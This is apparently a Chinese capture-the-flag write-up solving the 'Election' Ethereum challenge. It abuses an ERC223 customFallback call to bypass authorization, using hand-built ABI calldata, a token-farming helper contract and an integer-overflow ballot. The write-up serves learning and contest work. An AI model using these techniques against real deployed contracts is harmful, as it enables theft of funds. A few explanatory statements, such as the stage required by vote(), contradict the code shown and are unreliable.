合约Function Selector and Argument Encoding

wiki部分

wiki上的知识还是容易理解的,简单来讲就是在Ethereum中通过ABI(二进制接口)可以知道函数的信息,包括参数,函数签名等等。而ABI编码有着规定好的编码方式,wiki主要讲的就是如何进行ABI编码。

Election

参考wp

参考博客 因为初学合约,这个例题看了挺久。

合约源码

pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;
 
interface IERC223 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address account) external view returns (uint);
    function transfer(address to, uint value) external returns (bool);
    function transfer(address to, uint value, bytes memory data) external returns (bool);
    function transfer(address to, uint value, bytes memory data, string memory customFallback) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
 
contract ERC223 is IERC223 {
    string public override name;
    string public override symbol;
    uint8 public override decimals;
    uint public override totalSupply;
    mapping (address => uint) private _balances;
    string private constant _tokenFallback = "tokenFallback(address,uint256,bytes)";
 
    constructor (string memory _name, string memory _symbol) public {
        name = _name;
        symbol = _symbol;
        decimals = 18;
    }
 
    function balanceOf(address account) public view override returns (uint) {
        return _balances[account];
    }
 
    function transfer(address to, uint value) public override returns (bool) {
        return _transfer(msg.sender, to, value, "", _tokenFallback);
    }
 
    function transfer(address to, uint value, bytes memory data) public override returns (bool) {
        return _transfer(msg.sender, to, value, data, _tokenFallback);
    }
 
    function transfer(address to, uint value, bytes memory data, string memory customFallback) public override returns (bool) {
        return _transfer(msg.sender, to, value, data, customFallback);
    }
 
    /* Helper functions */
    function _transfer(address from, address to, uint value, bytes memory data, string memory customFallback) internal returns (bool) {
        require(from != address(0), "ERC223: transfer from the zero address");
        require(to != address(0), "ERC223: transfer to the zero address");
        require(_balances[from] >= value, "ERC223: transfer amount exceeds balance");
        _balances[from] -= value;
        _balances[to] += value;
 
        if (_isContract(to)) {
            (bool success,) = to.call{value: 0}(
                abi.encodeWithSignature(customFallback, msg.sender, value, data)
            );
            assert(success);
        }
        emit Transfer(msg.sender, to, value, data);
        return true;
    }
 
    function _mint(address to, uint value) internal {
        require(to != address(0), "ERC223: mint to the zero address");
        totalSupply += value;
        _balances[to] += value;
        emit Transfer(address(0), to, value, "");
    }
 
    function _isContract(address addr) internal view returns (bool) {
        uint length;
        assembly {
            length := extcodesize(addr)
        }
        return (length > 0);
    }
}
 
contract Election is ERC223 {
    struct Proposal {
        string name;
        string policies;
        bool valid;
    }
    struct Ballot {
        address candidate;
        uint votes;
    }
 
    uint randomNumber = 0;
    bool public sendFlag = false;   //6
    address public owner;           //6
    uint public stage;              //7 
    address[] public candidates;    //8
    bytes32[] public voteHashes;    //9
    mapping(address => Proposal) public proposals;    //10
    mapping(address => uint) public voteCount;       //11
    mapping(address => bool) public voted;
    mapping(address => bool) public revealed;
 
    event Propose(address, Proposal);
    event Vote(bytes32);
    event Reveal(uint, Ballot[]);
    event SendFlag(address);
 
    constructor() public ERC223("Election", "ELC") {
        owner = msg.sender;
        _setup();
    }
 
    modifier auth {
        require(msg.sender == address(this) || msg.sender == owner, "Election: not authorized");
        _;
    }
 
    function propose(address candidate, Proposal memory proposal) public auth returns (uint) {
        require(stage == 0, "Election: stage incorrect");
        require(!proposals[candidate].valid, "Election: candidate already proposed");
        candidates.push(candidate);
        proposals[candidate] = proposal;
        emit Propose(candidate, proposal);
        return candidates.length - 1;
    }
 
    function vote(bytes32 voteHash) public returns (uint) {
        require(stage == 1, "Election: stage incorrect");
        require(!voted[msg.sender], "Election: already voted");
        voted[msg.sender] = true;
        voteHashes.push(voteHash);
        emit Vote(voteHash);
        return voteHashes.length - 1;
    }
 
    function reveal(uint voteHashID, Ballot[] memory ballots) public {
        require(stage == 2, "Election: stage incorrect");
        require(!revealed[msg.sender], "Election: already revealed");
        require(voteHashes[voteHashID] == keccak256(abi.encode(ballots)), "Election: hash incorrect");
        revealed[msg.sender] = true;
 
        uint totalVotes = 0;
        for (uint i = 0; i < ballots.length; i++) {
            address candidate = ballots[i].candidate;
            uint votes = ballots[i].votes;
            totalVotes += votes;
            voteCount[candidate] += votes;
        }
        require(totalVotes <= balanceOf(msg.sender), "Election: insufficient tokens");
        emit Reveal(voteHashID, ballots);
    }
 
    function getWinner() public view returns (address) {
        require(stage == 3, "Election: stage incorrect");
        uint maxVotes = 0;
        address winner = address(0);
        for (uint i = 0; i < candidates.length; i++) {
            if (voteCount[candidates[i]] > maxVotes) {
                maxVotes = voteCount[candidates[i]];
                winner = candidates[i];
            }
        }
        return winner;
    }
 
    function giveMeMoney() public {
        require(balanceOf(msg.sender) == 0, "Election: you're too greedy");
        _mint(msg.sender, 1);
    }
 
    function giveMeFlag() public {
        require(msg.sender == getWinner(), "Election: you're not the winner");
        require(proposals[msg.sender].valid, "Election: no proposal from candidate");
        if (_stringCompare(proposals[msg.sender].policies, "Give me the flag, please")) {
            sendFlag = true;
            emit SendFlag(msg.sender);
        }
    }
 
    /* Helper functions */
    function _setup() public auth {
        address Alice = address(0x9453);
        address Bob = address(0x9487);
        _setStage(0);
        propose(Alice, Proposal("Alice", "This is Alice", true));
        propose(Bob, Proposal("Bob", "This is Bob", true));
        voteCount[Alice] = uint(-0x9453);
        voteCount[Bob] = uint(-0x9487);
        _setStage(1);
    }
 
    function _setStage(uint _stage) public auth {
        stage = _stage & 0xff;
    }
 
    function _stringCompare(string memory a, string memory b) internal pure returns (bool) {
        return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
    }
    
    /* custom added functions */
    function testdeet(address to, uint value, bytes memory data, string memory customFallback) pure public returns (bytes memory){
        return abi.encodeWithSignature(customFallback, to, value, data);
    }
 
    function properEncode(address candidate, Proposal memory proposal, address t1, address t2) pure public {
 
    }
 
    function ballotEncode(Ballot[] memory ballots) pure public returns (bytes32){
    return keccak256(abi.encode(ballots));
    }
}

合约分析

合约使用的是ERC223的代币,存在一个父类和子合约。在父类中,存在_transfer接口能够任意调用函数,但是需要构造合适的ABI编码格式。

if (_isContract(to)) {
            (bool success,) = to.call{value: 0}(
                abi.encodeWithSignature(customFallback, msg.sender, value, data)
            );
            assert(success);
        }

关于calldelegatecallcallcode的区别如下,这个题特意用了call函数,为了能够绕过后面的auth认证,因为call函数会修改msg值为调用者,然后就能让调用者为合约本身,就能绕过auth了。 例如如下合约即可验证。

 
contract A {
    address public temp1;
    uint256 public temp2;
    function three_call(address addr) public {
            addr.call(bytes4(keccak256("test()")));                 // 情况1
            //addr.delegatecall(bytes4(keccak256("test()")));       // 情况2
            //addr.callcode(bytes4(keccak256("test()")));           // 情况3   
    }
} 
 
contract B {
    address public temp1;
    uint256 public temp2;    
    function test() public  {
            temp1 = msg.sender;        
            temp2 = 100;    
    }
    function test2() public returns (uint256){
        return uint(-0x9453);
    }
}

子合约实现了一个投票系统,主要包含propose,vote,reveal三个函数,stage变量用于调用不同函数时设置为不同的值。合约定义了两个结构体。

    // 用于存放candidate竞争者的信息
    struct Proposal {
        string name;
        string policies;
        bool valid;
    }
    //用于存放每个candidate获得票数
    struct Ballot {
        address candidate;
        uint votes;
    }

auth认证,需要调用者为合约本身,正好是call函数的用法。

    modifier auth {
        require(msg.sender == address(this) || msg.sender == owner, "Election: not authorized");
        _;
    }

主要函数(propose,_setStage有auth认证)

  • propose(address candidate, Proposal memory proposal)函数用于进行投票,并且进行了auth认证。此时需要stage==0,同时Proposal结构体下的valid变量需要设置为给定的字符串。

  • vote(bytes32 voteHash)函数用于确认投票,需要stage==0。参数为经过keccak256(abi.encode(ballots))编码的Ballot[]数组的bytes32值。

  • reveal(uint voteHashID, Ballot[] memory ballots)函数用于计算每个candidate账户的总票数,需要stage==2。

  • getWinner()函数用于判断出最终获胜者,所以最终目的为让我们的账户成为winner,这样就能调用giveMeFlag()获取flag。

  • _setStage(uint _stage)用于设置stage变量,但有auth认证。

而合约在初始化的时候将stage的值设为了1,并且只有两个账户。

所以第一步需要绕过auth,这样才能调用到_setStage来设置stage变量的值,继而调用其他函数。而调用任意函数的漏洞就是上面说的父类里面的call函数。

调用不用函数的编码如下

所以当调用_setStage的时候,函数只接受一个参数,那参数的内容就是msg.sender的值所以我们要设置stage变量的内容,需要找到合约地址后缀是00 01 02 03的。利用这个网站

而当调用propose的时候,函数接受两个参数,第一个是address地址形式,第二个是Propose结构体。所以根据abi编码方式,首先直接写入address定值,然后是proposal结构体的offset 0x20*2=0x40,之后遍历结构体的参数有三个,前两个是变长类型,则name的offset为 0x20*3=0x60,policies为0x60 + 0x20*2 = 0xa0(前一个参数的长度和data内容各占0x20),最后是valid是bool类型不需要存储offset。然后开始重新遍历变长类型,先写入参数的长度,再写入参数的值。所以在调用这个函数的时候,data的值就需要进行精心构造成符合abi编码的格式。 例如如果要利用call函数调用propose函数,address地址为0x9aC4ef4fed53a395Bcb4004Cd8DffEE73CC46800,结构体中name为kkfine,policies为Give me the flag, please,valid为true,则call函数中data的内容为

0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000006
6b6b66696e650000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000018
47697665206d652074686520666c61672c20706c656173650000000000000000

而前半部分则如下,所以value参数内容应该是0x40

slot0     msg.sender/candidate
slot1     offset of Proposal     0x0000000000000000000000000000000000000000000000000000000000000040
slot2     offset of name         0x0000000000000000000000000000000000000000000000000000000000000060
slot3     offset of plicies      0x00000000000000000000000000000000000000000000000000000000000000a0

或者使用题目的testdeet接口也能看出来

现在能够调用任意函数,但是还需要绕过148行totalVotes <= balanceOf(msg.sender),所以这里还存在一个integer overflow溢出漏洞。

第 145 行存在一个 integer overflow ,所以我们可以两个 ballot 投票,票数分别为 2^256-1(投给 attacker ) 和 1 (投给 Alice 或 Bob 任意一个),这样利用 145 行的 integer overflow 便可通过 148 行的限制,同时使 attacker 票数为 2^256-1 ,可通过 getWinner() 赢得选票

关于溢出

攻击

首先需要四个不同后缀的账户 0x9aC4ef4fed53a395Bcb4004Cd8DffEE73CC46800 00 0xD9ee07AAf7e3d5951721f7deB46802207f4dF001 01 0x89eB2cD0eC49Cf1B584d3b4bdb6453B1f16c3203 03 0x88C87F1365F793dd79c4b2A60f238C8594e9d602 02

题目合约地址 0xef31471E3004a78Ae403858BbcB27D6d1f37791C

candidate账户 0x0000000000000000000000000000000000009453Alice 0x0000000000000000000000000000000000009487Bob 0x9c5D5bE2a76503957853d9b6f81fFDE226635739攻击账户

首先需要向我们的攻击账户转64块钱,因为上面说到需要在调用propose的时候设置value为64,而在_transfer中存在限制 require(_balances[from] >= value, "ERC223: transfer amount exceeds balance");所以需要先转64元钱。

通过这个合约来让_balances[attacker_address]=64,脚本原理就是先通过giveMeMoney获取一块钱,此时就可以满足_balances[from] >= value了。之后就能在第52行通过_balances[to] += value;不断加钱。

import './Elction.sol';
contract send {
    Election target = Election(0xef31471E3004a78Ae403858BbcB27D6d1f37791C);
    
    function getmoney(uint times) public {
        for (uint i=0; i<times; i++) {
            target.giveMeMoney();
            target.transfer(0x9c5D5bE2a76503957853d9b6f81fFDE226635739, 1, "", "");
        }
    }
}

第二步就是进行vote投票,进行整数溢出,准备两个 ballot,一个投给 attacker,票数为 2^256-1 ;一个投给 Alice,票数为 1。

ballotEncode([["0x9c5d5be2a76503957853d9b6f81ffde226635739","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"], ["0x0000000000000000000000000000000000009453","0x1"]])

编码结果为

查看votehashes,发现成功显示

然后需要切换到00后缀账户调用_setStage修改stage变量为0,再调用propose将 attacker 增加到 candidate。

查看 proposals 可以看到添加 attacker 为 candidate 成功

这里顺便分析一下transfer调用propose的abi编码.

Function: transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) ***

MethodID: 0xf6368f8a

// transfer第一个参数msg.sender,直接写入slot
[0]:  000000000000000000000000ef31471e3004a78ae403858bbcb27d6d1f37791c

//uint256定长参数,也是直接写入内容
[1]:  0000000000000000000000000000000000000000000000000000000000000040

//第三个是变长参数bytes _data,先写入offset,函数参数有4个所以为0x20*4=0x80
[2]:  0000000000000000000000000000000000000000000000000000000000000080

//最后一个变长参数,计算其pffset:0x80 + 0x20*5(前一个变长类型的值所用槽数) + 0x20(前一个变长类型存储长度占用槽数) = 0x140
[3]:  0000000000000000000000000000000000000000000000000000000000000140

data的长度 0x20*5 = 0xa0
[4]:  00000000000000000000000000000000000000000000000000000000000000a0

//data数据值
[5]:  0000000000000000000000000000000000000000000000000000000000000001
[6]:  0000000000000000000000000000000000000000000000000000000000000006
[7]:  6b6b66696e650000000000000000000000000000000000000000000000000000
[8]:  0000000000000000000000000000000000000000000000000000000000000018
[9]:  47697665206d652074686520666c61672c20706c656173650000000000000000

//_custom_fallback边长参数的长度
[10]: 0000000000000000000000000000000000000000000000000000000000000025

//_custom_fallback的值(即为propose(address,(string,string,bool))
[11]: 70726f706f736528616464726573732c28737472696e672c737472696e672c62
[12]: 6f6f6c2929000000000000000000000000000000000000000000000000000000

然后切换到02后缀修改stage为2,进行 reveal 调用,其中 ballots 是上面已经传入的ballots (使用 attacker账户 ),调用完后查看 voteCount[attacker] 已经是 2

最后切换到03后缀账户,设值stage为3。

然后调用 giveMeFlag()即可(使用 attacker账户),不过这最后一步我不小心给自己账户设置成revealed true了,所以最后就放本地的图得了(合约地址为0x7fe5E6C8eE2EC92c5aA9912499f364540640d152)